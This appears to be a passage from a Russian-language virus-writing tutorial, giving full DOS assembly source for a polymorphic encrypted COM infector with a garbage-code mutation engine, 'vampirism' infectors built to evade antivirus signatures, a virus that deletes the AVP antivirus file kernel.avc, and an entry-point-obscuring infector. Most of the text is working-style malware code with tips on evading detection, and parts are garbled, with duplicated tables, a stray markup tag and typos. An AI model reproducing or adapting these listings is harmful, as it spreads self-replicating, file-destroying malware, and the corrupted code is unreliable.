int 21h
db 90h
db 90h
;========================================
db 90h
int 21h
db 90h
db 90h
;========================================
garbage7:
db 90h
db 90h
db 0e8h,05h,00h
;========================================
db 90h
db 0e8h,06h,00h
db 90h
;========================================
db 0e8h,07h,00h
db 90h
db 90h
;========================================
db 90h
db 0e8h,06h,00h
db 90h
;========================================
garbage8:
db 90h
db 90h
db 90h
ret
db 90h
;========================================
db 90h
pop bx
jmp bx
db 90h
;========================================
db 90h
ret
db 90h
db 90h
db 90h
;========================================
pop ax
jmp ax
db 90h
db 90h
;========================================
garbage9:
db 90h
db 0bbh,51h,01h
db 90h
;========================================
db 90h
db 90h
db 0bbh,51h,01h
;========================================
db 90h
mov bh,01h
mov bl,51h
;========================================
mov bl,51h
mov bh,01h
db 90h
;========================================
garbage10:
db 90h
mov ah,[bx]
db 90h
do 90h
;========================================
mov ah,[bx]
db 90h
db 90h
db 90h
;========================================
db 90h
db 90h
mov ah,[bx]
db 90h
;========================================
db 90h
db 90h
db 90h
mov ah,[bx]
;========================================
garbage11:
db 90h
xor ah,encrypt_val
;========================================
xor ah,encrypt_val
db 90h
;========================================
db 90n
xor ah,encrypt_val
;========================================
xor ah,encrypt_val
db 90h
;========================================
garbage12:
mov [bx],ah
db 90h
db 90h
db 90h
;========================================
db 90h
mov [bx],ah
db 90h
db 90h
;========================================
db 90h
db 90h
mov [bx],ah
db 90h
;========================================
db 90h
db 90h
db 90h
mov [bx],ah
garbage13:
inc bx
db 90h
db 90h
db 90h
db 90h
;========================================
db 90h
inc bx
db 90h
db 90h
db 90h
;========================================
db 90h
db 90h
inc bx
db 90h
db 90h
;========================================
db 90h
db 90h
db 90h
db 90h
inc bx
;========================================
garbage14:
db 90h
cmp bx,offset virus_code+virus_size
;========================================
cmp bx,offset virus_code+virus_size
db 90h
;========================================
db 90h
cmp bx,offset virus_code+virus_size
;========================================
cmp bx,offset virus_code+virus_size
db 90h
;========================================
garbage15:
db 7eh,0e5h
db 90h
db 90h
db 90h
;========================================
db 90h
db 7eh,0e4h
db 90h
db 90h
;========================================
db 90h
db 90h
db 7eh,0e3h
db 90h
;========================================
db 90h
db 90h
db 90h
db 7eh,0e2h
;========================================
garbage16:
db 90h
db 90h
db 90h
ret
db 90h
;========================================
db 90h
pop bx
jmp bx
db 90h
;========================================
db 90h
ret
db 90h
db 90h
db 90h
;========================================
pop ax
jmp ax
db 90h
db 90h
;----------------------------------------------
musor: ; Процедура мутации мусорных команд в блоках
lea si,garbage1 ; В si загружается начало таблицы блоков
mov di,si ; В di то же
mov cx,musor-garbage1 ; В сх кол-во байт для обработки, у нас вся таблица
call generator ; Вызываем процедуру генерации мусорных байт
ret ; Возврат из процедуры
;----------------------------------------------
generator: ; Процедура генерации мусорных байт
lodsb ; Загружаем в al текущий байт
cmp al,90h ; Если текущий байт nop,
je preob ; То преобразуем его по случайному закону
cmp al,0f8h ; Если текущий байт clc,
je preob ; То преобразуем его по случайному закону
cmp al,0f9h ; Если текущий байт stc,
je preob ; То преобразуем его по случайному закону
cmp al,0f5h ; Если текущий байт cmc,
je preob ; То преобразуем его по случайному закону
cmp al,0fch ; Если текущий байт cld,
je preob ; То преобразуем его по случайному закону
cmp al,0fah ; Если текущий байт cli,
je preob ; То преобразуем его по случайному закону
jmp end_preob ; Если это не мусорный байт, то не преобразовывать его
preob:
call random2 ; Процедура преобразования байта
end_preob:
stosb ; После преобразования кладем его на место
loop generator ; Обрабатываем всю таблицу блоков
ret ; Возврат из процедуры
;----------------------------------------------
random2: ; Процедура преобразования байта
in ax,40h ; В ах помещается случайное число
and ax,5 ; Ограничиваем его диапазоном 0-5
xchg ax,bx ; Полученное число помещаем в bx
add bx,offset garbage ; Добавляем к нему смещение таблицы мусорных байт
mov al,[bx] ; Помещаем в al случайный байт из этой таблицы
ret ; Возврат из процедуры
;----------------------------------------------
garbage: ; Таблица мусорных байт
nop
clc
stc
cmc
cld
cli
;----------------------------------------------
fmask db '*.c*',0 ;
handle dw ? ; Переменные
chl db 05h ;
ch2 db 20 ;
code ends
end main
;----------------------------------------------
Стоит рассмотреть логику функционирования данного полиморфного вируса более подробно.
Начнем с первого блока:
;----------------------------------------------
mut1:
sti ; !!!!
call encrypt_decrypt ; Вызов процедуры шифрования
nop ; !!!
;----------------------------------------------
mut2:
lahf ; !!!!
jmp random_mutation ; Начало работы вируса
stc ; !!!!
;----------------------------------------------
infect_file: ; Процедура инфицирования
mut3:
mov dx,100h ; dx указывает на начало кода
push bx ; Сохраняем bx в стеке
stc ; !!!!
;----------------------------------------------
mut4:
nop ; !!!!
call encrypt_decrypt ; Вызов процедуры шифрования
cmc ; !!!!
;----------------------------------------------
mut5:
clc ; !!!!
pop bx ; Восстановим из стека bx
lahf ; !!!!
mov ah,40h ; DOS-функция записи в файл
;----------------------------------------------
mut6:
nop ; !!!!
int 21h ; Пишем вирусный код в файл
dec bp ; !!!!
dec bp ; !!!!
;----------------------------------------------
mut7:
nop ; !!!!
stc ; !!!!
call encrypt_decrypt ; Расшифровка кода
;----------------------------------------------
mut8:
cmc ; !!!!
mov ax,3fh ; !!!!
ret ; Возврат из процедуры инфицирования
;----------------------------------------------
encrypt_decrypt: ; Процедура шифровки/расшифровки
mut9:
mov bx,offset virus_code ; ; С какого места начинаем шифровать код
lahf ; !!!!
stc ; !!!!
;----------------------------------------------
xor_loop: ; Здесь начинается цикл
mut10:
nop ; !!!!
mov ah,[bx] ; Берем текущий байт и кладем в ah
stc ; !!!!
cmc ; !!!!
;----------------------------------------------
mut11:
xor ah,encrypt_val ; Преобразовываем его операцией X0R
sti ; !!!!
;----------------------------------------------
mut12:
clc ; !!!!
cmc ; !!!!
mov [bx],ah ; Возвращаем байт на прежнее место
sti ; !!!!
;----------------------------------------------
mut13:
nop ; !!!!
nop ; !!!!
inc bx ; Переходим к следующему байту
stc ; !!!!
clc ; !!!!
;----------------------------------------------
mut14:
sahf ; !!!!
cmp bx,offset virus_code+virus_size ; Мы все байты зашифровали?
;----------------------------------------------
mut15:
lahf ; !!!!
jle xor_loop ; Если нет, то шифруем до конца мм
nop ; !!!!
sti ; !!!!
;----------------------------------------------
mut16:
stc ; !!!!
clc ; !!!!
cli ; !!!!
sti ; !!!!
ret ; Возврат из шифрующей процедуры
;----------------------------------------------
encrypt_val db 00h ; Ключ шифрования
virus_size equ 588 ; Размер вируса
;----------------------------------------------
virus_code: ; С этой метки шифруется код
random_mutation: ;
call polym ; Вызов процедуры мутации нешифрованной части
; вируса
mov ah,2ch ; Возьмем по таймеру значение
int 21h
mov encrypt_val,dl ; Присвоим это случайное значение ключу
find_com:
xor cx, cx
lea dx,fmask ; Найдем файл по маске *.com
mov ah,4eh ;
int 21h
jnc healthy
continue_search :
mov ah,4fh ; Ищем следующий файл
int 21h ;
jc exit_virus ; Если больше нет файлов, то идем на выход
healthy:
mov ax,3d02h ; Откроем файл
mov dx,09eh
int 21h
mov handle,ax ; Сохраним хэндл файла в переменную
xchg ax, bx ; Поместим хэндл файла в bx
mov cx,virus_size ; В сх поместим размер вируса
call infect_file ; Заразим файл
call close_file ; Закроем его
jmp short continue_search ; Перейдем к следующей жертве
ret
close_file:
mov bx,handle ; Восстановим хэндл файла
mov ah,3eh ; Затем закроем файл
int 21h
exit_virus:
ret ; Конец программы
Данный блок представляет уже рассмотренный нами шифрованный вирус, но расшифровщик поделен на 16 частей по 5 байт в каждой. В каждой части инструкции настоящего расшифровщика разбавлены мусорными командами. В шифрованной части находится вызов процедуры мутации. Остальное идентично ранее рассмотренному шифрованному вирусу.
Переходим к второму блоку:
polym:
call musor ; Вызов процедуры, генерирующей мусорные команды
call random ; Вызов основной процедуры мутации
ret ; Возврат из процедуры
;----------------------------------------------
random:
mov di,100h ; Мутации начинать с начала вирусного кода
mov dx,0 ; Счетчик мутаций
ran:
in ax,40h ; Получаем случайное число в ах
and ax,3 ; Ограничиваем его диапазоном 0-3
mul ch1 ; Умножаем на 5 размер одного блока
xchg ax,si ; Помещаем в si полученное число
mov ax,dx ; В ах помещаем номер мутируемого блока
mul ch2 ; Умножаем на 20 - кол-во байт в 4-х блоках
add si,offset garbage1 ; Добавляем к si смещение на таблицу блоков
add si,ax ; Добавляем ах, который указывает на один из блоков
mov cx,5 ; В сх помещается 5 - кол-во байт для перемещения
rep movsb ; Уже готовый разбавленный мусорными командами блок
; Помещается в нешифрованную часть вируса
inc dx ; Переходим к следующему блоку
cmp dx,15 ; Пока все 16 блоков не мутировали
jle ran ; Продолжаем мутации
ret ; Возврат из процедуры
;----------------------------------------------
garbage1: ; Таблица блоков. Один из четырех формирует
; инструкцию расшифровщика
db 90h
db 90h
db 0e8h,23h,00h
;========================================
db 90h
db 0e8h,24h,00h
db 90h
;========================================
db 0e8h,25h,00h
db 90h
db 90h
;========================================
db 90h
db 0e8h,24h,00h
db 90h
;========================================
garbage2:
db 90h
db 90h
db 90h
db 0ebh,47h
;========================================
db 0ebh,4ah
db 90h
db 90h
db 90h
;========================================
db 90h
db 90h
db 0ebh,48h
db 90h
;========================================
db 90h
db 0ebh,49h
db 90h
db 90h
;========================================
garbage3:
db 90h
push bx
mov dx,100h
push bx
mov dx,100h
;========================================
push bx
db 90h
mov dx,100h
;========================================
push bx
push 100h
pop dx
;========================================
mov dx,100h
db 90h
push bx
;========================================
garbage4:
db 90h
db 90h
db 0e8h,14h,00h
;========================================
db 90h
db 0e8h,15h,00h
db 90h
;========================================
db 0e8h,16h,00h
db 90h
db 90h
;========================================
db 90h
db 0e8h,15h,00h
db 90h
;========================================
garbage5:
pop bx
mov ah,3fh
inc ah
;========================================
pop ax
xchg ax,bx
mov ah,40h
int 3h
;========================================
mov ah,41h
pop bx
dec ah
;========================================
mov ah,40h
int 1h
pop bx
;========================================
garbage6:
db 90h
db 90h
db 90h
int 21h
;========================================
int 21h
db 90h
db 90h
db 90h
;========================================
db 90h
int 21h
db 90h
db 90h
;========================================
db 90h
int 21h
db 90h
db 90h
;========================================
garbage7:
db 90h
db 90h
db 0e8h,05h,00h
;========================================
db 90h
db 0e8h,06h,00h
db 90h
;========================================
db 0e8h,07h,00h
db 90h
db 90h
;========================================
db 90h
db 0e8h,06h,00h
db 90h
;========================================
garbage8:
db 90h
db 90h
db 90h
ret
db 90h
;========================================
db 90h
pop bx
jmp bx
db 90h
;========================================
db 90h
ret
db 90h
db 90h
db 90h
;========================================
pop ax
jmp ax
db 90h
db 90h
;========================================
garbage9:
db 90h
db 0bbh,51h,01h
db 90h
;========================================
db 90h
db 90h
db 0bbh,51h,01h
;========================================
db 90h
mov bh,01h
mov bl,51h
;========================================
mov bl,51h
mov bh,01h
db 90h
;========================================
garbage10:
db 90h
mov ah,[bx]
db 90h
do 90h
;========================================
mov ah,[bx]
db 90h
db 90h
db 90h
;========================================
db 90h
db 90h
mov ah,[bx]
db 90h
;========================================
db 90h
db 90h
db 90h
mov ah,[bx]
;========================================
garbage11:
db 90h
xor ah,encrypt_val
;========================================
xor ah,encrypt_val
db 90h
;========================================
db 90n
xor ah,encrypt_val
;========================================
xor ah,encrypt_val
db 90h
;========================================
garbage12:
mov [bx],ah
db 90h
db 90h
db 90h
;========================================
db 90h
mov [bx],ah
db 90h
db 90h
;========================================
db 90h
db 90h
mov [bx],ah
db 90h
;========================================
db 90h
db 90h
db 90h
mov [bx],ah
;========================================
garbage13:
inc bx
db 90h
db 90h
db 90h
db 90h
;========================================
db 90h
inc bx
db 90h
db 90h
db 90h
;========================================
db 90h
db 90h
inc bx
db 90h
db 90h
;========================================
db 90h
db 90h
db 90h
db 90h
inc bx
;========================================
garbage14:
db 90h
cmp bx,offset virus_code+virus_size
;========================================
cmp bx,offset virus_code+virus_size
db 90h
;========================================
db 90h
cmp bx,offset virus_code+virus_size
;========================================
cmp bx,offset virus_code+virus_size
db 90h
;========================================
garbage15:
db 7eh,0e5h
db 90h
db 90h
db 90h
;========================================
db 90h
db 7eh,0e4h
db 90h
db 90h
;========================================
db 90h
db 90h
db 7eh,0e3h
<src lang="asm">
db 90h
;========================================
db 90h
db 90h
db 90h
db 7eh,0e2h
;========================================
garbage16:
db 90h
db 90h
db 90h
ret
db 90h
;========================================
db 90h
pop bx
jmp bx
db 90h
;========================================
db 90h
ret
db 90h
db 90h
db 90h
;========================================
pop ax
jmp ax
db 90h
db 90h
;----------------------------------------------
В данном блоке поочередно случайным образом выбирается одна из 4 заготовок для первого блока нешифрованных инструкций, затем для второго и т. д. до 16 блока. Но перед размещением этих блоков вызывается процедура генера ции мусора, которая изменяет мусорные байты в каждой таблице блоков, что существенно увеличивает количество мутаций.
Теперь перейдем к третьему блоку:
;----------------------------------------------
musor: ; Процедура мутации мусорных команд в блоках
lea si,garbage1 ; В si загружается начало таблицы блоков
mov di,si ; В di то же
mov cx,musor-garbage1 ; В сх кол-во байт для обработки, у нас вся таблица
call generator ; Вызываем процедуру генерации мусорных байт
ret ; Возврат из процедуры
;----------------------------------------------
generator: ; Процедура генерации мусорных байт
lodsb ; Загружаем в al текущий байт
cmp al,90h ; Если текущий байт nop,
je preob ; То преобразуем его по случайному закону
cmp al,0f8h ; Если текущий байт clc,
je preob ; То преобразуем его по случайному закону
cmp al,0f9h ; Если текущий байт stc,
je preob ; То преобразуем его по случайному закону
cmp al,0f5h ; Если текущий байт cmc,
je preob ; То преобразуем его по случайному закону
cmp al,0fch ; Если текущий байт cld,
je preob ; То преобразуем его по случайному закону
cmp al,0fah ; Если текущий байт cli,
je preob ; То преобразуем его по случайному закону
jmp end_preob ; Если это не мусорный байт, то не преобразовывать его
preob:
call random2 ; Процедура преобразования байта
end_preob:
stosb ; После преобразования кладем его на место
loop generator ; Обрабатываем всю таблицу блоков
ret ; Возврат из процедуры
;----------------------------------------------
random2: ; Процедура преобразования байта
in ax,40h ; В ах помещается случайное число
and ax,5 ; Ограничиваем его диапазоном 0-5
xchg ax,bx ; Полученное число помещаем в bx
add bx,offset garbage ; Добавляем к нему смещение таблицы мусорных байт
mov al,[bx] ; Помещаем в al случайный байт из этой таблицы
ret ; Возврат из процедуры
;----------------------------------------------
garbage: ; Таблица мусорных байт
nop
clc
stc
cmc
cld
cli
;----------------------------------------------
В данном блоке мусорные байты из таблицы блокой мутируют, т. е. каждый из них полностью изменяется на один из байтов таблицы garbage, который выбран по случайному закону. Рассмотрение подробно инструкций не является необходимым, так как они подробно комментированы.
Данный вирус является демонстрацией технологии полиморфизма на вирусе типа overwriter. Как вы можете догадаться, он легко может быть преобразован в любой тип — будь то паразит или компаньон.
Существует множество возможностей написания полиморфных вирусов. Мы рассмотрели лишь две, которые только дают основные представления о полиморфизме.
Полиморфизм с мутациями при каждом запуске был очень эффективен на заре этой технологии. Сейчас в постоянных мутациях кроется недостаток этой технологии, так как разработчики антивирусов могут вычислить алгоритм мутаций. Чтобы этого не случилось, необходимо использовать медленный полиморфизм.
Алгоритм медленного полиморфизма заключается в том, чтобы сделать мутации очень редкими, например, чтобы вирус мутировал раз в день или после каждого 20 запуска. Это затруднит разработчикам антивирусов вычисление
алгоритма мутаций. А пользователя это вообще может обмануть, и он подумает, что вирус вообще не мутирует.
Рассмотрим ту часть кода, которую нужно заменить в нашем полиморфном вирусе, чтобы он мутировал раз в 20 запусков.
Переходим к листингу:
random_mutation:
mov ax,schetchik ; В ax загружаем количество запусков программы
cmp ax,0ffffh ; Если оно равно 65535, то обнуляем его
jne dalshe ; Если нет, то переходим на метку dalshe
mov schetchik,0 ; Обнуление переменной shetchik
mov ax,schetchik ; И помещение ее в ах
dalshe:
div ch2 ; Делим количество запусков на 20
cmp ah,0 ; Если остаток есть,
jne not_polym ; Значит, не мутируем
call polym ; Иначе это запуск кратен 20 и нужно мутировать
; Нешифрованная часть мутировала
mov ah,2ch ; Переходим к мутации шифрованной части
int 21h ; Получаем случайное значение
mov encrypt_val,dl ; И помещаем его в переменную encrypt_val
not_polym:
inc schetchik ; Увеличиваем счетчик запусков.
find_com:
После метки find_com все остается, как и в обычном полиморфном вирусе. Данное добавление позволяет нашему вирусу мутировать один раз из 20 запусков.
В данной части уместно затронуть тему метаморфизма. Метаморфизм заключается в том, что мутирует инфицирующая часть вируса и частично саv метаморфный генератор. Но при этих мутациях шифрование не производится и производятся мутации, аналогичные используемым в полиморфном вирусе для нешифрованной части. Данный вид мутаций вырос из полиморфных вирусов. Не составит большого труда избавить наш полиморфный вирус от шифрования и дописать блоки для остальных частей. Это и будет наш метаморфный вирус.
Ну, вот и все. В этой части мы обсудили полиморфизм, медленный полиморфизм, метаморфизм.
В смысле лечения полиморфные вирусы лечатся, как и обычные. Но вся сложность связана с их детектированием и анализом. Современные антивирусные продукты успешно справляются со многими полиморфными вирусами.
5.7. Вампиризм
Вампиризм — это сравнительно молодая вирусная технология. Данная технология направлена на обход антивирусных систем, смысл ее функционирования понятен из названия. Вирусная программа изначально не содержит какой-то
части кода, которая позволила бы антивирусной программе идентифицировать данный вирус хотя бы как «подозрительный». И по сути, Данная программа даже не вирус до того, как она запущена, потому что полноценным вирусом эта программа становится только во время выполнения.
В начале было сказано много слов, но пока, наверное, ничего не ясно. Чтобы все разьяснить, обратимся к следующему листингу.
Листинг:
;----------------------------------------------
cseg segment
assume cs:cseg,ds:cseg
org 100h
start:
mov ah,4eh ; Поиск первого файла
lea dx,file1 ;
int 21h ;
infect:
mov ax,3d01h ; Открытие файла на запись (*)
mov dx,09Eh ; (*)
int 21h ; (*)
xchg ax,bx ; Перезаписываем найденный файл
mov ah,40h ; Собой
mov cx,finish-start ;
mov dx,100h ;
int 21h ;
mov ah,3eh ; Закрываем файл
int 21h ;
mov ah,4Fh ; Ищем следующий файл
int 21h ;
jnc infect ; Заражаем, пока фа-йлы не закончатся
int 20h ; Завершение программы
file1 db '*.com',0
msg db '[+ sImPl3 0w3rwRit3 cHUm4 1.0 +] by s10n$"
finish:
cseg ends
end start
;----------------------------------------------
Данный вирус идентифицируется антивирусом, как «trivial based». Эта идентификация происходит благодаря строкам, отмеченным знаком «*». Но если убрать третью инструкцию из этого блока, то это уже будет не вирус. Следовательно, идентифицироваться он уже не будет. Если мы уберем просто эту строку, то вирус и работать перестанет.
Смысл вампиризма заключается в том, что мы эту строку прочитаем из какого-нибудь системного файла во время исполнения программы, т. е. своего рода пропатчим память. А образ на винчестере данной пррграммы не изменится, и антивирусом обнаруживаться не будет.
Теперь перейдем к листингу.
;----------------------------------------------
cseg segment
assume cs:cseg,ds:cseg
org 100h
start:
;----------------------------------------------
; Сам код, который реализует вампиризм
mov ax,3d00h ; Открываем файл донора для чтения
lea dx,vamp_f ; наш файл это c:\windows\system32\command.сom
int 21h ;
xchg ax,bx ; Хэндл в bx
mov ax,4200h ; Переходим к байтам по смещению 0DCh, которые
mov dx,0dch ; являются нужными нам 0CDh 021h
xor cx,cx ;
int 21h ;
mov ah,3fh ; И читаем их в свой код по смещению buff
lea dx,buff ;
mov cx,2 ;
int 21h ;
mov ah,3eh ; Закрываем файл донора
int 21h ;
;----------------------------------------------
mov ah,4eh ; Поиск первого файла
lea dx,file1 ;
int 21h ;
infect:
mov ax,3d01h ; Открытие файла на запись
mov dx,09Eh ;
buff:
nop ; Два мусорных байта, чтобы при чтении сюда int 21h
nop ; не затирался основной код
xchg ax,bx ; Перезаписываем найденный файл
mov ah,40h ; собой
mov cx,finish-start ;
mov dx,100h ;
int 21h ;
mov ah,3eh ; Закрываем файл
int 21h ;
mov ah,4Fh ; Ищем следующий файл
int 21h ;
jnc infect ; Заражаем, пока файлы не закончатся
int 20h ; Завершение программы
file1 db '*.com',0
vamp_f db 'c:\windows\system32\command.com',0
finish:
cseg ends
end start
;----------------------------------------------
В данной программе мы из системного файла прочитали два необходимых байта. Технология под названием «вампиризм» довольно проста для восприятия, но конкретные ее реализации будут не так просты, как эта, потому что либо написанный вирус при помощи этой технологии будет ориентирован на какую-то конкретную операционную систему, либо нужно будет реализовывать поиск необходимых байтов в различных файлах, что может привести к демаскировке вируса из-за продолжительности поиска.
Более удобным для использования я считаю автовампиризм. Данная технология есть более усовершенствованная технология вампиризма. Сам вирус является в этом случае и «кровососом», и «донором».
Рассмотрим следующий листинг:
;----------------------------------------------
seg segment
assume cs:cseg.ds:cseg
org 100h
start:
;----------------------------------------------
; Сам код, который реализует автовампиризм
lea si,src ; В данном месте мы читаем и
lea di,buff ; переносим необходимые нам два байта из кода самого
movsw ; вируса
;----------------------------------------------
mov ah,4eh ; Поиск первого файла
lea dx,file1 ;
int 21h ;
infect:
mov ax,3d01h ; Открытие файла на запись
mov dx,09Eh ;
buff:
nop ; Два мусорных байта, чтобы при чтении сюда int 21h
nop ; не затирался основной код
xchg ax,bx ; Перезаписываем найденный файл
mov ah,40h ; собой
mov cx,finish-start ;
mov dx,100h ;
src:
int 21h ;
mov ah,3eh ; Закрываем файл
int 21h ;
mov ah,4Fh ; Ищем следующий файл
int 21h ;
jnc infect ; Заражаем, пока файлы не закончатся
int 20h ; Завершение программы
file1 db '*.com',0
finish:
cseg ends
start
;----------------------------------------------
Данная технология является очень перспективной, благодаря трму, что образ программы на винчестере не изменяется.
Вот мы и закончили обзор данной технологии.
5.8. Ретро
Данная технология ориентирована на защиту вируса от антивирусов. Из всех перечисленных технологий она является наиболее агрессивной, потому как уничтожает файлы антивирусов. Возможны различные ее реализации, но смысл действия этой технологии таков: найти файлы антивирусов и стереть их.
Простейший вариант данной технологии, который мы рассмотрим, направлен на борьбу с одним из самых главных файлов AVP «kernel.avc». В данном примере вирус пытается удалить данный файл в текущей директории (а вдруг мы в папке антивируса). Можно исправить путь на наиболее часто используемый, например на C:\Program Files\Common Files\AVP Shared Files\AVPBASES.
Переходим к листингу:
;----------------------------------------------
cseg segment
assume cs:cseg,ds:cseg
org 100h
start:
call retro ; Вызов процедур удаления файла kernel.avc
mov ah,4eh ;
lea dx,file1 ;
int 21h ;
infect:
mov ah,4eh ; Поиск первого файла
lea dx,file1 ;
int 21h ;
infect:
mov ax,3d01h ; Открытие файла на запись
mov dx,09Eh ;
int 21h ;
xchg ax,bx ; Перезаписываем найденный файл
mov ah,40h ; Cобой
int 1h ; Антиэвристика (чтобы поначалу спрятаться, хаметь будем потом)
mov cx,finish-start ;
mov dx,100h ;
int 21h ;
mov ah,3eh ; Закрываем файл
int 21h ;
mov ah,4Fh ; Ищем следующий файл
int 21h ;
jnc infect ; Заражаем, пока файлы не закончатся
int 20h ; Завершение программы
;----------------------------------------------
retro:
mov ah,41h ;
xor cx,cx ;
lea dx,retro1 ; Короткая процедура удаления файла антивируса
int 21h ;
ret
;----------------------------------------------
file1 db '*.com',0
retro1 db 'kernel.avc',0
finish:
cseg ends
end start
;----------------------------------------------
Данная технология вообще тривиальна, поэтому особо на цей задерживаться не имеет смысла. Но от себя скажу, что для нормального использования данной технологии необходимо разобраться с функционированием различных антивирусов. Чтобы не получилось, что вы в папке антивируса удаляете файл с названием readme.txt и надеетесь, что после этого антивирус перестанет работать.
Ну вот, мы ознакомились еще с одной технологией.
А в этом вирусе нужно быть крайне осторожным при исследованиях. Антивирусная программа реализуется в течение нескольких минут.
5.9. Неизлечимость
Данная технология является одной из самых перспективных. По-другому она называется «неизвестная точка входа (UEP)». Для понимания функционирования данной технологии мы должны вспомнить, как размножаются в большинстве своем вирусы:
- записывают переход на себя в начале файла, а себя в конец программы;
- записывают переход на себя в начале файла, а себя в середину программы;
- себя полностью в начало, а после себя оригинальную программу;
- себя в начало, а затертый вирусом кусок кода программы в конец программы.
Во всех этих способах инфицирования есть одна большая общая черта — первым управление получает вирус, что позволяет его выделить, а после и излечить. Если обнаруживший вирус программист сам в нем не разобрался из-за шифрования и других трюков, то что ему мешает отнести данный вирус, например, к антивирусам? Но если вирус будет перехватывать управление где-нибудь посреди программы, то даже опытному программисту, не говоря уже об антивирусных программах, может быть не под силу обнаружить его.
Итак, как мы будем реализовывать наш вирус с использованием технологии (неизлечимости? Смысл в том, чтобы заменить какие-нибудь байты на call хххх. Мы будем заменять на вызов процедуры, потому что не нужно будет запоминать адрес, по которому нужно будет возвращать оригинальные байты (он будет храниться в стеке).
Для написания данного вируса нам нужно немного побольше узнать об опкодах. К примеру, инструкция «mov ah,09h» в двоичном виде выглягдет так: «В4 09». A «mov ah,0ffh» будет «В4 FF». Из этого мы видим, что для того, чтобы создать инструкцию «mov ah,45h» в двоичном виде, нам необходимо к «В4» добавить «45», и все — инструкция готова.
Это необходимо для того, чтобы мы не пытались внедряться в данные и не портили основной код.
Главная проблема в реализации неизлечимости — это проблема границы кода. Данная проблема заключается в том, что если мы не попадем на границу кода, то программа, доработав до нашего call'a, может обрушиться.
Рассмотрим это на примере:
mov dx,2 ; В hex это будет вьглядеть так: ВА 00 02 В4 09
mov ah,09h ;
К примеру, мы ищем инструкцию «mov ah,xx» и заменяем ей на наш call. Представим, что наш вирус прочитал представленный выше код, и после инфицирования он будет выглядеть так:
mov dx,2 ; В hex это будет выглядеть так: ВА 00 02 Е8 FE FA
call next ;
В этом случае мы попали на границу кода. Рассмотрим другой пример, более интересный:
mov dx,0B4h ; В hex это будет выглядеть так: ВА 00 В4 В4 09
mov ah,09h ;
После инфицирования нашим вирусом данный код изменится следующим образом:
mov dx,E800h ; В hex это будет выглядеть так: ВА 00 Е8 FE FA
db FEh ; После инфицирования ни вирус, ни программа не получат
cli ; управление.
И работать не будут ни вирус, ни программа. Надеюсь, я вас убедил, что очень важно попасть на границу кода. Но как это сделать? Во (Всех DOS-программах используются вызовы DOS-функций. К примеру, вот вызов функции вывода строки:
mov ah,09h ; Номер функции
int 21h ; вызов прерывания
Как вы догадались, DOS-функции вызываются довольно часто, но этих функций довольно много. Для инфицирования программы нам нужно искать
данные байты по следующей маске: «0B4,??,CD,21», которая уже с достаточно большой вероятностью позволяет попасть на границу кода. Но заполнение регистра может происходить и через весь ах регистр. Это стоит учитывать и можно смотреть по другой маске «B8,??,??,CD,21».
Итак, после разбора проблем перейдем к реализации данного метода инфицирования.
Переходим к листингу:
;----------------------------------------------
cseg segment
assume cs:cseg,ds:cseg
org 100h
.286
start:
;----------------------------------------------
call delta ; Вычисляем дельта-смещение
delta: pop bp ;
sub bp,offset delta ;
pop [bp+addr] ; Восстанавливаем из стека адрес возврата
pusha ; Сохраняем все регистры
;----------------------------------------------
restore:
mov ax,[bp+addr] ; Проверяем, если адресе возврата
cmp ax,0 ; равен нулю, то восстанавливать байты
je not_rest ; не нужно
sub ax,3 ; Иначе вычисляем новый адрес возврата
lea si,[bp+orig_bytes] ; И восстанавливаем оригинальные байты
mov di,ax ;
movsw ;
movsw ;
not_rest:
mov [bp+addr],ax ; Новый адрес возврата сохраняем в переменную
;----------------------------------------------
lea dx,[bp+new_dta] ; Устанавливаем новый DTA
mov ah,1ah ;
int 21h ;
mov ah,4eh ; Вызываем функцию поиска первого файла
lea dx,[bp+filel] ;
int 21h ;
infect:
mov ax,3d02h ; Открываем его для чтения/записи
lea dx,[bp+new_dta+30]
int 21h ;
xchg ax,bx ;
mov ах,word ptr [bp+new_dta+26] ; Сохраняем размер файла в одноименной
mov word ptr [bp+size1],ах ; переменной
jmp testing ; Переходим на проверку инфицированности
vozvrat:
xor si,si ; Обнуляем si
work:
mov ah,3fh ; Читаем один байт из этого файла
mov cx,1 ;
lea dx,[bp+try] ;
int 21h ;
cmp si,[bp+size1] ; Проверяем, не конец ли это файла
je close ; Если конец, то переходим к закрытию файла
inc si ;
cmp byte ptr [bp+try],0b4h ; Проверяем, не является ли прочитанный байт
jne work ; началом инструкции "mov ah,xx"
call inf ; Если является, проверяем дальше
close:
mov ah,3eh ; Закрываем файл
int 21h ;
mov ah,4Fh ; Ищем следующий
int 21h ;
jnc infect ; Если нашли, то пытаемся заразить
push [bp+addr] ; Кладем новый адрес возврата в стек
popa ; Восстанавливаем все регистры
ret ; Переходим по новому адресу возврата
;----------------------------------------------
inf: ; Процедура проверки на "B4,??,CD,21"
dec si ; Уменьшаем si, чтобы указывал на первый байт
mov ah,3fh ; Читаем из файла после "В4" еще три байта
mov cx,3 ; в переменную buff
lea dx,[bp+buff] ;
int 21h ;
mov ah,byte ptr [bp+buff[1]]; Проверяем, равны ли последние два байта
mov al,byte ptr [bp+buff[2]]; "CD 21"
cmp ax,0cd21h ;
jne fin ; Если нет, то переходим на fin
call attack ; Если равны, то начинаем инфицирование
pop ax ; После инфицирования редактируем адрес
lea ax,[bp+close] ; возврата, чтобы он указывал на функцию
push ax ; закрытия файла, и переходим по этому адресу
fin:
ret ; Возврат из процедуры
;----------------------------------------------
attack: ; Процедура инфицирования
mov ax,4200h ; Переходим на начало байт "B4,??,CD,21"
xor cx,cx ;
mov dx,si ;
int 21h ;
sub [bp+size1],6 ; Вычисляем, куда должен указывать call,
; чтобы вирус получил управление
mov ah,40h ; Записываем call вместо обнаруженных байт
int 1h ; Антиэвристика
lea dx,[bp+fuck] ;
mov cx,4 ;
int 21h ;
mov ax,4202h ; Переходим в конец обнаруженного файла
xor cx,cx ;
cwd ;
int 21h ;
mov ah,40h ; И дописываем основное тело вируса
int 1h ; Антиэвристика
lea dx,[bp+start] ;
mov cx,finish-start ;
int 21h ;
ret ; Возврат из процедуры
;----------------------------------------------
testing: ; Проверка на инфицируемость
mov ax,4200h ; Переходим в конец файла, но не в самый, а
xor cx,cx ; на три байта меньше, чтобы указатель
mov dx,word ptr[bp+size1] ; указывал на 3 байта от конца
sub dx,3 ;
int 21h ;
mov ah,3fh ; Читаем этот байт из файла
mov cx,1 ;
lea dx,[bp+try] ;
int 21h ;
cmp [bp+try],0e8h ; Если он равен 0e8h, то этот файл уже
jne dalshe ; заражен, и мы переходим к его закрытию
jmp close ; Если не равен,
dalshe:
mov ax,4200h ; тогда ставим указатель на начало файла
xor cx,cx ;
xor dx,dx ;
int 21h ;
jmp vozvrat ; И переходим к поиску 0b4h
